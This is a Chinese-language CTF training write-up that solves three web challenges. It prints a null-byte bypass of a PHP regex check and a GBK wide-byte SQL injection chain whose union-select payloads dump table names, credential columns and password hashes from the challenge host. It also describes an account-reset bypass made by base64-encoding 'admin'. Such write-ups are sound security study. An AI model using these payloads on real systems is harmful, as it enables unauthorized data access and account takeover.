NJU trinity 內訓WP1,web1-3
好氣啊……搞密碼學的密碼學弄不會……先從web題入手吧
1. php-basic1
打開發現給出了原始碼。
view-source:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
然後試著把網址改為:
發現輸出了“騷年,繼續努力吧”大概的意思就明白了。
要繞過的是這第一個判斷,進入第二個判斷……也就是說nctf後面第一個要是一個數,第二個要是biubiubiu.
這裡考察的是00截斷,當ereg遇到00的時候就會認為結束退出,所以我們只要用00截斷就能進入第二個判斷,payload就是:
nctf=1%00%23biubiubiu
23是#,第二個判斷讀入的是%00biubiubiu這個字串。
Flag: flag:nctf{use_00_to_jieduan}
但是值得注意的是如果用了nctf[]的payload,會導致報錯直接xjb爆出flag。這可能是因為strpos陣列越界返回值為null,!=false.
Warning: strpos() expects parameter 1 to be string, array given in web4/f5a14f5e6e3453b78cd73899bad98d53/index.php on line 10
Flag: flag:nctf{use_00_to_jieduan}
2. SQL-basic1
這是一道盲注題。準確的說是寬位元組注入。
會發現當將id=2修改為id=1時會返回這樣的東西。
your sql:select id,title from news where id = '1‘'
那這可能存在GBK寬位元組注入。
爆欄位
分別嘗試
id=-1%df’ order by 1 %23 (df後面的單引號閉合query前面的引號,%23=’#’註釋掉後面的query裡面的引號)
id=-1%df’ order by 1,2 %23
id=-1%df’ order by 1,2,3 %23<–報錯
有兩個欄位。
用union select爆出了2
id=-1%df' union select 1,2 %23
爆庫
繼續盲注爆出了一個庫
id=-1%df’ union select 1,database() %23
sae-chinalover
現在就可以隨便爆了:
爆表名
id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
ctf,ctf2,ctf3,ctf4,news
猜測是第一個,繼續爆欄位
id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
user,pw
you know what to do.
ctf-ctf4挨個爆破。
2.1ctf
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23
admin21dd715a3605b2a4053e80387116c190,md5加密。
解出來的沒有用
2.2 ctf2……沒有
2.3 ctf3……沒有
2.4 ctf4:有了
payload:
id=-1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
id,flag
返回:
1 nctf{gbk_3sqli}
getflag
3. logic-basic1
密碼找回的邏輯bug
首先,網址的Y3RmdXNlcg%3D%3D就是base64,解出來就是Y3RmdXNlcg==
ctfuser
我們直接反過來編碼admin的base64放到地址裡面然後用burpsuite攔截
flag is:nctf{reset_password_often_have_vuln}